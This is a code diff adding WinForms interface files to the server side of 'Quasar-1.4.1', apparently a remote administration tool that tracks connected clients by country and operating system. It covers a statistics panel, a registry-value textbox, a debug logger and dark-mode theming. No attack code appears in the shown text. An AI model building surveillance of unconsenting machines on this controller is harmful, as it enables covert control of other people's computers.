this.btnRefresh.Click += new System.EventHandler(this.btnRefresh_Click); + // + // lblCountriesValue + // + this.lblCountriesValue.AutoSize = true; + this.lblCountriesValue.Font = new System.Drawing.Font("Segoe UI", 16F, System.Drawing.FontStyle.Bold); + this.lblCountriesValue.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(122)))), ((int)(((byte)(204))))); + this.lblCountriesValue.Location = new System.Drawing.Point(733, 39); + this.lblCountriesValue.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCountriesValue.Name = "lblCountriesValue"; + this.lblCountriesValue.Size = new System.Drawing.Size(33, 37); + this.lblCountriesValue.TabIndex = 6; + this.lblCountriesValue.Text = "0"; + // + // lblCountries + // + this.lblCountries.AutoSize = true; + this.lblCountries.Font = new System.Drawing.Font("Segoe UI", 9F); + this.lblCountries.ForeColor = System.Drawing.Color.Gray; + this.lblCountries.Location = new System.Drawing.Point(736, 15); + this.lblCountries.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCountries.Name = "lblCountries"; + this.lblCountries.Size = new System.Drawing.Size(71, 20); + this.lblCountries.TabIndex = 5; + this.lblCountries.Text = "Countries"; + // + // lblOnlineValue + // + this.lblOnlineValue.AutoSize = true; + this.lblOnlineValue.Font = new System.Drawing.Font("Segoe UI", 16F, System.Drawing.FontStyle.Bold); + this.lblOnlineValue.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(122)))), ((int)(((byte)(204))))); + this.lblOnlineValue.Location = new System.Drawing.Point(467, 39); + this.lblOnlineValue.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblOnlineValue.Name = "lblOnlineValue"; + this.lblOnlineValue.Size = new System.Drawing.Size(33, 37); + this.lblOnlineValue.TabIndex = 4; + this.lblOnlineValue.Text = "0"; + // + // lblOnline + // + this.lblOnline.AutoSize = true; + this.lblOnline.Font = new System.Drawing.Font("Segoe UI", 9F); + this.lblOnline.ForeColor = System.Drawing.Color.Gray; + this.lblOnline.Location = new System.Drawing.Point(469, 15); + this.lblOnline.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblOnline.Name = "lblOnline"; + this.lblOnline.Size = new System.Drawing.Size(52, 20); + this.lblOnline.TabIndex = 3; + this.lblOnline.Text = "Online"; + // + // lblTotalValue + // + this.lblTotalValue.AutoSize = true; + this.lblTotalValue.Font = new System.Drawing.Font("Segoe UI", 16F, System.Drawing.FontStyle.Bold); + this.lblTotalValue.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(122)))), ((int)(((byte)(204))))); + this.lblTotalValue.Location = new System.Drawing.Point(200, 39); + this.lblTotalValue.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTotalValue.Name = "lblTotalValue"; + this.lblTotalValue.Size = new System.Drawing.Size(33, 37); + this.lblTotalValue.TabIndex = 2; + this.lblTotalValue.Text = "0"; + // + // lblTotal + // + this.lblTotal.AutoSize = true; + this.lblTotal.Font = new System.Drawing.Font("Segoe UI", 9F); + this.lblTotal.ForeColor = System.Drawing.Color.Gray; + this.lblTotal.Location = new System.Drawing.Point(203, 15); + this.lblTotal.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTotal.Name = "lblTotal"; + this.lblTotal.Size = new System.Drawing.Size(90, 20); + this.lblTotal.TabIndex = 1; + this.lblTotal.Text = "Total Clients"; + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(20, 15); + this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(98, 28); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Statistics"; + // + // panelMain + // + this.panelMain.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.panelMain.Controls.Add(this.splitContainer); + this.panelMain.Dock = System.Windows.Forms.DockStyle.Fill; + this.panelMain.ForeColor = System.Drawing.Color.White; + this.panelMain.Location = new System.Drawing.Point(0, 86); + this.panelMain.Margin = new System.Windows.Forms.Padding(4); + this.panelMain.Name = "panelMain"; + this.panelMain.Padding = new System.Windows.Forms.Padding(13, 12, 13, 12); + this.panelMain.Size = new System.Drawing.Size(1333, 529); + this.panelMain.TabIndex = 1; + // + // splitContainer + // + this.splitContainer.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer.Location = new System.Drawing.Point(13, 12); + this.splitContainer.Margin = new System.Windows.Forms.Padding(4); + this.splitContainer.Name = "splitContainer"; + // + // splitContainer.Panel1 + // + this.splitContainer.Panel1.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.splitContainer.Panel1.Controls.Add(this.groupCountries); + // + // splitContainer.Panel2 + // + this.splitContainer.Panel2.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.splitContainer.Panel2.Controls.Add(this.groupOS); + this.splitContainer.Size = new System.Drawing.Size(1307, 505); + this.splitContainer.SplitterDistance = 506; + this.splitContainer.SplitterWidth = 5; + this.splitContainer.TabIndex = 0; + // + // groupCountries + // + this.groupCountries.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.groupCountries.Controls.Add(this.lvCountries); + this.groupCountries.Dock = System.Windows.Forms.DockStyle.Fill; + this.groupCountries.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Bold); + this.groupCountries.Location = new System.Drawing.Point(0, 0); + this.groupCountries.Margin = new System.Windows.Forms.Padding(4); + this.groupCountries.Name = "groupCountries"; + this.groupCountries.Padding = new System.Windows.Forms.Padding(11, 10, 11, 10); + this.groupCountries.Size = new System.Drawing.Size(506, 505); + this.groupCountries.TabIndex = 0; + this.groupCountries.TabStop = false; + this.groupCountries.Text = "Clients by Country"; + // + // lvCountries + // + this.lvCountries.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.colCountry, + this.colClients, + this.colPercentage}); + this.lvCountries.Dock = System.Windows.Forms.DockStyle.Fill; + this.lvCountries.Font = new System.Drawing.Font("Segoe UI", 9F); + this.lvCountries.ForeColor = System.Drawing.Color.White; + this.lvCountries.FullRowSelect = true; + this.lvCountries.GridLines = true; + this.lvCountries.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable; + this.lvCountries.HideSelection = false; + this.lvCountries.Location = new System.Drawing.Point(11, 32); + this.lvCountries.Margin = new System.Windows.Forms.Padding(4); + this.lvCountries.Name = "lvCountries"; + this.lvCountries.Size = new System.Drawing.Size(484, 463); + this.lvCountries.TabIndex = 0; + this.lvCountries.UseCompatibleStateImageBehavior = false; + this.lvCountries.View = System.Windows.Forms.View.Details; + // + // colCountry + // + this.colCountry.Text = "Country"; + this.colCountry.Width = 200; + // + // colClients + // + this.colClients.Text = "Clients"; + this.colClients.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.colClients.Width = 80; + // + // colPercentage + // + this.colPercentage.Text = "%"; + this.colPercentage.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.colPercentage.Width = 70; + // + // groupOS + // + this.groupOS.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.groupOS.Controls.Add(this.chartOS); + this.groupOS.Dock = System.Windows.Forms.DockStyle.Fill; + this.groupOS.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Bold); + this.groupOS.Location = new System.Drawing.Point(0, 0); + this.groupOS.Margin = new System.Windows.Forms.Padding(4); + this.groupOS.Name = "groupOS"; + this.groupOS.Padding = new System.Windows.Forms.Padding(11, 10, 11, 10); + this.groupOS.Size = new System.Drawing.Size(796, 505); + this.groupOS.TabIndex = 0; + this.groupOS.TabStop = false; + this.groupOS.Text = "Operating Systems"; + // + // chartOS + // + this.chartOS.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.chartOS.BackSecondaryColor = System.Drawing.Color.FromArgb(32, 32, 36); + chartArea1.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + chartArea1.Name = "ChartArea1"; + this.chartOS.ChartAreas.Add(chartArea1); + this.chartOS.Dock = System.Windows.Forms.DockStyle.Fill; + legend1.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + legend1.Enabled = false; + legend1.Name = "Legend1"; + this.chartOS.Legends.Add(legend1); + this.chartOS.Location = new System.Drawing.Point(11, 32); + this.chartOS.Margin = new System.Windows.Forms.Padding(4); + this.chartOS.Name = "chartOS"; + this.chartOS.Size = new System.Drawing.Size(774, 463); + this.chartOS.TabIndex = 0; + this.chartOS.Click += new System.EventHandler(this.chartOS_Click); + // + // StatisticsPanel + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(32, 32, 36); + this.Controls.Add(this.panelMain); + this.Controls.Add(this.panelTop); + this.Margin = new System.Windows.Forms.Padding(4); + this.Name = "StatisticsPanel"; + this.Size = new System.Drawing.Size(1333, 615); + this.panelTop.ResumeLayout(false); + this.panelTop.PerformLayout(); + this.panelMain.ResumeLayout(false); + this.splitContainer.Panel1.ResumeLayout(false); + this.splitContainer.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).EndInit(); + this.splitContainer.ResumeLayout(false); + this.groupCountries.ResumeLayout(false); + this.groupOS.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.chartOS)).EndInit(); + this.ResumeLayout(false); + + } + + private System.Windows.Forms.Panel panelTop; + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblTotal; + private System.Windows.Forms.Label lblTotalValue; + private System.Windows.Forms.Label lblOnline; + private System.Windows.Forms.Label lblOnlineValue; + private System.Windows.Forms.Label lblCountries; + private System.Windows.Forms.Label lblCountriesValue; + private System.Windows.Forms.Button btnRefresh; + private System.Windows.Forms.Panel panelMain; + private System.Windows.Forms.SplitContainer splitContainer; + private System.Windows.Forms.GroupBox groupCountries; + private System.Windows.Forms.ListView lvCountries; + private System.Windows.Forms.ColumnHeader colCountry; + private System.Windows.Forms.ColumnHeader colClients; + private System.Windows.Forms.ColumnHeader colPercentage; + private System.Windows.Forms.GroupBox groupOS; + private System.Windows.Forms.DataVisualization.Charting.Chart chartOS; + } +} + + diff --git a/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.cs b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.cs new file mode 100755 index 0000000..d138eea --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.cs @@ -0,0 +1,223 @@ +using Quasar.Server.Networking; +using Quasar.Server.Statistics; +using Quasar.Server.Utilities; +using Quasar.Server.Models; +using System; +using System.Drawing; +using System.Linq; +using System.Windows.Forms; +using System.Windows.Forms.DataVisualization.Charting; + +namespace Quasar.Server.Controls +{ + public partial class StatisticsPanel : UserControl + { + private readonly QuasarServer _listenServer; + private Timer _refreshTimer; + private Func _getMockClients; + + public StatisticsPanel(QuasarServer listenServer) + { + _listenServer = listenServer; + InitializeComponent(); + ApplyTheme(); + + _refreshTimer = new Timer(); + _refreshTimer.Interval = 5000; + _refreshTimer.Tick += RefreshTimer_Tick; + } + + public void SetMockClientsProvider(Func getMockClients) + { + _getMockClients = getMockClients; + } + + private void ApplyTheme() + { + // Always apply dark theme to match the UI + this.BackColor = Color.FromArgb(32, 32, 36); + this.ForeColor = Color.White; + + ApplyThemeToControls(this.Controls); + + if (chartOS != null) + { + chartOS.BackColor = Color.FromArgb(32, 32, 36); + chartOS.ChartAreas[0].BackColor = Color.FromArgb(32, 32, 36); + chartOS.ChartAreas[0].BorderColor = Color.FromArgb(70, 70, 78); + chartOS.ChartAreas[0].BorderWidth = 1; + chartOS.ChartAreas[0].BorderDashStyle = ChartDashStyle.Solid; + + if (chartOS.Legends.Count > 0) + { + chartOS.Legends[0].BackColor = Color.FromArgb(32, 32, 36); + chartOS.Legends[0].ForeColor = Color.White; + } + } + } + + private void ApplyThemeToControls(Control.ControlCollection controls) + { + foreach (Control control in controls) + { + if (control is Label label) + { + label.ForeColor = Color.White; + } + else if (control is Button button) + { + button.BackColor = Color.FromArgb(37, 37, 38); + button.ForeColor = Color.White; + button.FlatStyle = FlatStyle.Flat; + button.FlatAppearance.BorderColor = Color.FromArgb(63, 63, 70); + } + else if (control is ListView listView) + { + listView.BackColor = Color.FromArgb(32, 32, 36); + listView.ForeColor = Color.White; + listView.GridLines = false; + listView.BorderStyle = BorderStyle.FixedSingle; + } + else if (control is Panel panel) + { + panel.BackColor = Color.FromArgb(32, 32, 36); + } + else if (control is GroupBox groupBox) + { + groupBox.ForeColor = Color.White; + } + + if (control.HasChildren) + { + ApplyThemeToControls(control.Controls); + } + } + } + + protected override void OnLoad(EventArgs e) + { + base.OnLoad(e); + RefreshStatistics(); + _refreshTimer.Start(); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + if (components != null) + { + components.Dispose(); + } + _refreshTimer?.Stop(); + _refreshTimer?.Dispose(); + } + base.Dispose(disposing); + } + + private void RefreshTimer_Tick(object sender, EventArgs e) + { + RefreshStatistics(); + } + + private void RefreshStatistics() + { + try + { + var clients = _listenServer.ConnectedClients; + MockClient[] mockClients = null; + + // Get mock clients if provider is set + if (_getMockClients != null) + { + mockClients = _getMockClients(); + } + + var snapshot = ClientStatisticsService.CreateSnapshot(clients, mockClients); + + if (snapshot.HasError) + { + return; + } + + lblTotalValue.Text = snapshot.TotalClients.ToString(); + lblOnlineValue.Text = snapshot.OnlineClients.ToString(); + lblCountriesValue.Text = snapshot.ClientsByCountry.Count.ToString(); + + UpdateCountryList(snapshot); + UpdateOSChart(snapshot); + } + catch + { + // Silently handle errors + } + } + + private void UpdateCountryList(ClientStatisticsSnapshot snapshot) + { + lvCountries.Items.Clear(); + + foreach (var country in snapshot.ClientsByCountry.Take(10)) + { + var item = new ListViewItem(country.Label); + item.SubItems.Add(country.Count.ToString()); + item.SubItems.Add(country.Share.ToString("P0")); + lvCountries.Items.Add(item); + } + } + + private void UpdateOSChart(ClientStatisticsSnapshot snapshot) + { + chartOS.Series.Clear(); + chartOS.Titles.Clear(); + + if (snapshot.ClientsByOperatingSystem.Count == 0) + { + var title = chartOS.Titles.Add("No Data Available"); + title.Font = new Font("Segoe UI", 10); + title.ForeColor = Color.White; + return; + } + + var series = new Series("Operating Systems") + { + ChartType = SeriesChartType.Pie, + IsValueShownAsLabel = true + }; + + series["PieLabelStyle"] = "Outside"; + series["PieLineColor"] = "White"; + + foreach (var os in snapshot.ClientsByOperatingSystem.Take(6)) + { + var point = series.Points.Add(os.Count); + point.Label = $"{os.Count} ({os.Share:P0})"; + point.LegendText = os.Label.Length > 30 ? os.Label.Substring(0, 27) + "..." : os.Label; + point.ToolTip = $"{os.Label}: {os.Count} clients ({os.Share:P0})"; + point.LabelForeColor = Color.White; + } + + chartOS.Series.Add(series); + + var title2 = chartOS.Titles.Add("Operating Systems Distribution"); + title2.Font = new Font("Segoe UI", 11, FontStyle.Bold); + title2.ForeColor = Color.White; + + chartOS.Legends[0].Enabled = true; + chartOS.Legends[0].Docking = Docking.Right; + chartOS.Legends[0].Font = new Font("Segoe UI", 9); + chartOS.Legends[0].BackColor = Color.FromArgb(32, 32, 36); + chartOS.Legends[0].ForeColor = Color.White; + } + + private void btnRefresh_Click(object sender, EventArgs e) + { + RefreshStatistics(); + } + + private void chartOS_Click(object sender, EventArgs e) + { + + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.resx b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/StatisticsPanel.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.Designer.cs b/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.Designer.cs new file mode 100755 index 0000000..21dc61d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.Designer.cs @@ -0,0 +1,36 @@ +namespace Quasar.Server.Controls +{ + partial class WordTextBox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.cs b/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.cs new file mode 100755 index 0000000..62a0368 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/WordTextBox.cs @@ -0,0 +1,171 @@ +using System; +using System.Globalization; +using System.Windows.Forms; +using Quasar.Server.Enums; + +namespace Quasar.Server.Controls +{ + public partial class WordTextBox : TextBox + { + private bool isHexNumber; + private WordType type; + + public override int MaxLength + { + get + { + return base.MaxLength; + } + set { } + } + + public bool IsHexNumber + { + get { return isHexNumber; } + set + { + if (isHexNumber == value) + return; + + if(value) + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString("x"); + else + Text = ULongValue.ToString("x"); + } + else + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString(); + else + Text = ULongValue.ToString(); + } + + isHexNumber = value; + + UpdateMaxLength(); + } + } + + public WordType Type + { + get { return type; } + set + { + if (type == value) + return; + + type = value; + + UpdateMaxLength(); + } + } + + public uint UIntValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt32.Parse(Text, NumberStyles.HexNumber); + else + return UInt32.Parse(Text); + } + catch (Exception) + { + return UInt32.MaxValue; + } + } + } + + public ulong ULongValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt64.Parse(Text, NumberStyles.HexNumber); + else + return UInt64.Parse(Text); + } + catch (Exception) + { + return UInt64.MaxValue; + } + } + } + + public bool IsConversionValid() + { + if (String.IsNullOrEmpty(Text)) + return true; + + if (!IsHexNumber) + { + return ConvertToHex(); + } + return true; + } + + public WordTextBox() + { + InitializeComponent(); + base.MaxLength = 8; + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + base.OnKeyPress(e); + e.Handled = !IsValidChar(e.KeyChar); + } + + private bool IsValidChar(char ch) + { + return (Char.IsControl(ch) || + Char.IsDigit(ch) || + (IsHexNumber && Char.IsLetter(ch) && Char.ToLower(ch) <= 'f')); + } + + private void UpdateMaxLength() + { + if(Type == WordType.DWORD) + { + if (IsHexNumber) + base.MaxLength = 8; + else + base.MaxLength = 10; + } + else + { + if (IsHexNumber) + base.MaxLength = 16; + else + base.MaxLength = 20; + } + } + + + private bool ConvertToHex() + { + try + { + if (Type == WordType.DWORD) + UInt32.Parse(Text); + else + UInt64.Parse(Text); + return true; + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/DebugLogger.cs b/Quasar-1.4.1/Quasar.Server/DebugLogger.cs new file mode 100755 index 0000000..6dcea6a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/DebugLogger.cs @@ -0,0 +1,51 @@ +using System; +using System.IO; + +namespace Quasar.Server +{ + public static class DebugLogger + { + private static readonly string LogPath = Path.Combine( + Environment.GetFolderPath(Environment.SpecialFolder.Desktop), + "QuasarDebug.txt"); + + public static void Log(string message) + { + try + { + string logMessage = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff}] {message}"; + File.AppendAllText(LogPath, logMessage + Environment.NewLine); + } + catch + { + // Ignore logging errors + } + } + + public static void LogException(string context, Exception ex) + { + try + { + string logMessage = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff}] ERROR in {context}: {ex.GetType().Name}: {ex.Message}\nStack: {ex.StackTrace}"; + File.AppendAllText(LogPath, logMessage + Environment.NewLine); + } + catch + { + // Ignore logging errors + } + } + + public static void Clear() + { + try + { + if (File.Exists(LogPath)) + File.Delete(LogPath); + } + catch + { + // Ignore + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Enums/TransferType.cs b/Quasar-1.4.1/Quasar.Server/Enums/TransferType.cs new file mode 100755 index 0000000..ba161bd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Enums/TransferType.cs @@ -0,0 +1,8 @@ +namespace Quasar.Server.Enums +{ + public enum TransferType + { + Upload, + Download + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Enums/WordType.cs b/Quasar-1.4.1/Quasar.Server/Enums/WordType.cs new file mode 100755 index 0000000..ee6cd1b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Enums/WordType.cs @@ -0,0 +1,8 @@ +namespace Quasar.Server.Enums +{ + public enum WordType + { + DWORD, + QWORD + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Extensions/ListViewExtensions.cs b/Quasar-1.4.1/Quasar.Server/Extensions/ListViewExtensions.cs new file mode 100755 index 0000000..5a718d5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Extensions/ListViewExtensions.cs @@ -0,0 +1,36 @@ +using Quasar.Common.Helpers; +using Quasar.Server.Helper; +using Quasar.Server.Utilities; +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Extensions +{ + public static class ListViewExtensions + { + private const uint SET_COLUMN_WIDTH = 4126; + private static readonly IntPtr AUTOSIZE_USEHEADER = new IntPtr(-2); + + /// + /// Automatically determines the correct column size on the the given listview. + /// + /// The listview whose columns are to be autosized. + public static void AutosizeColumns(this ListView targetListView) + { + if (PlatformHelper.RunningOnMono) return; + for (int lngColumn = 0; lngColumn <= (targetListView.Columns.Count - 1); lngColumn++) + { + NativeMethods.SendMessage(targetListView.Handle, SET_COLUMN_WIDTH, new IntPtr(lngColumn), AUTOSIZE_USEHEADER); + } + } + + /// + /// Selects all items on the given listview. + /// + /// The listview whose items are to be selected. + public static void SelectAllItems(this ListView targetListView) + { + NativeMethodsHelper.SetItemState(targetListView.Handle, -1, 2, 2); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Extensions/RegistryKeyExtensions.cs b/Quasar-1.4.1/Quasar.Server/Extensions/RegistryKeyExtensions.cs new file mode 100755 index 0000000..1baad3f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Extensions/RegistryKeyExtensions.cs @@ -0,0 +1,55 @@ +using System; +using Microsoft.Win32; + +namespace Quasar.Server.Extensions +{ + public static class RegistryKeyExtensions + { + public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData) + { + if (valueData == null) + return "(value not set)"; + + switch (valueKind) + { + case RegistryValueKind.Binary: + return ((byte[])valueData).Length > 0 ? BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower() : "(zero-length binary value)"; + case RegistryValueKind.MultiString: + return string.Join(" ", (string[])valueData); + case RegistryValueKind.DWord: //Convert with hexadecimal before int + return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("x8"), ((uint)((int)valueData)).ToString()); + case RegistryValueKind.QWord: + return String.Format("0x{0} ({1})", ((ulong)((long)valueData)).ToString("x8"), ((ulong)((long)valueData)).ToString()); + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return valueData.ToString(); + case RegistryValueKind.Unknown: + default: + return string.Empty; + } + } + + public static string RegistryTypeToString(this RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.Binary: + return "REG_BINARY"; + case RegistryValueKind.MultiString: + return "REG_MULTI_SZ"; + case RegistryValueKind.DWord: + return "REG_DWORD"; + case RegistryValueKind.QWord: + return "REG_QWORD"; + case RegistryValueKind.String: + return "REG_SZ"; + case RegistryValueKind.ExpandString: + return "REG_EXPAND_SZ"; + case RegistryValueKind.Unknown: + return "(Unknown)"; + default: + return "REG_NONE"; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/BaseForm.cs b/Quasar-1.4.1/Quasar.Server/Forms/BaseForm.cs new file mode 100755 index 0000000..e38a715 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/BaseForm.cs @@ -0,0 +1,17 @@ +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public class BaseForm : Form + { + public BaseForm() + { + if (Settings.DarkMode) + { + this.Load += (s, e) => ThemeManager.ApplyTheme(this); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkMode.cs b/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkMode.cs new file mode 100755 index 0000000..0b8cc9a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkMode.cs @@ -0,0 +1,1697 @@ +using Microsoft.Win32; +using Quasar.Server.Controls; +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Linq; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace DarkModeForms +{ + /// This tries to automatically apply Windows Dark Mode (if enabled) to a Form. + /// Author: BlueMystic (bluemystic.play@gmail.com) 2024 + public class DarkModeCS + { + #region Win32 API Declarations + + public struct DWMCOLORIZATIONcolors + { + public uint ColorizationColor, + ColorizationAfterglow, + ColorizationColorBalance, + ColorizationAfterglowBalance, + ColorizationBlurBalance, + ColorizationGlassReflectionIntensity, + ColorizationOpaqueBlend; + } + + [Flags] + public enum DWMWINDOWATTRIBUTE : uint + { + /// + /// Use with DwmGetWindowAttribute. Discovers whether non-client rendering is enabled. The retrieved value is of type BOOL. TRUE if non-client rendering is enabled; otherwise, FALSE. + /// + DWMWA_NCRENDERING_ENABLED = 1, + + /// + /// Use with DwmSetWindowAttribute. Sets the non-client rendering policy. The pvAttribute parameter points to a value from the DWMNCRENDERINGPOLICY enumeration. + /// + DWMWA_NCRENDERING_POLICY, + + /// + /// Use with DwmSetWindowAttribute. Enables or forcibly disables DWM transitions. The pvAttribute parameter points to a value of type BOOL. TRUE to disable transitions, or FALSE to enable transitions. + /// + DWMWA_TRANSITIONS_FORCEDISABLED, + + /// + /// Use with DwmSetWindowAttribute. Enables content rendered in the non-client area to be visible on the frame drawn by DWM. The pvAttribute parameter points to a value of type BOOL. TRUE to enable content rendered in the non-client area to be visible on the frame; otherwise, FALSE. + /// + DWMWA_ALLOW_NCPAINT, + + /// + /// Use with DwmGetWindowAttribute. Retrieves the bounds of the caption button area in the window-relative space. The retrieved value is of type RECT. If the window is minimized or otherwise not visible to the user, then the value of the RECT retrieved is undefined. You should check whether the retrieved RECT contains a boundary that you can work with, and if it doesn't then you can conclude that the window is minimized or otherwise not visible. + /// + DWMWA_CAPTION_BUTTON_BOUNDS, + + /// + /// Use with DwmSetWindowAttribute. Specifies whether non-client content is right-to-left (RTL) mirrored. The pvAttribute parameter points to a value of type BOOL. TRUE if the non-client content is right-to-left (RTL) mirrored; otherwise, FALSE. + /// + DWMWA_NONCLIENT_RTL_LAYOUT, + + /// + /// Use with DwmSetWindowAttribute. Forces the window to display an iconic thumbnail or peek representation (a static bitmap), even if a live or snapshot representation of the window is available. This value is normally set during a window's creation, and not changed throughout the window's lifetime. Some scenarios, however, might require the value to change over time. The pvAttribute parameter points to a value of type BOOL. TRUE to require a iconic thumbnail or peek representation; otherwise, FALSE. + /// + DWMWA_FORCE_ICONIC_REPRESENTATION, + + /// + /// Use with DwmSetWindowAttribute. Sets how Flip3D treats the window. The pvAttribute parameter points to a value from the DWMFLIP3DWINDOWPOLICY enumeration. + /// + DWMWA_FLIP3D_POLICY, + + /// + /// Use with DwmGetWindowAttribute. Retrieves the extended frame bounds rectangle in screen space. The retrieved value is of type RECT. + /// + DWMWA_EXTENDED_FRAME_BOUNDS, + + /// + /// Use with DwmSetWindowAttribute. The window will provide a bitmap for use by DWM as an iconic thumbnail or peek representation (a static bitmap) for the window. DWMWA_HAS_ICONIC_BITMAP can be specified with DWMWA_FORCE_ICONIC_REPRESENTATION. DWMWA_HAS_ICONIC_BITMAP normally is set during a window's creation and not changed throughout the window's lifetime. Some scenarios, however, might require the value to change over time. The pvAttribute parameter points to a value of type BOOL. TRUE to inform DWM that the window will provide an iconic thumbnail or peek representation; otherwise, FALSE. Windows Vista and earlier: This value is not supported. + /// + DWMWA_HAS_ICONIC_BITMAP, + + /// + /// Use with DwmSetWindowAttribute. Do not show peek preview for the window. The peek view shows a full-sized preview of the window when the mouse hovers over the window's thumbnail in the taskbar. If this attribute is set, hovering the mouse pointer over the window's thumbnail dismisses peek (in case another window in the group has a peek preview showing). The pvAttribute parameter points to a value of type BOOL. TRUE to prevent peek functionality, or FALSE to allow it. Windows Vista and earlier: This value is not supported. + /// + DWMWA_DISALLOW_PEEK, + + /// + /// Use with DwmSetWindowAttribute. Prevents a window from fading to a glass sheet when peek is invoked. The pvAttribute parameter points to a value of type BOOL. TRUE to prevent the window from fading during another window's peek, or FALSE for normal 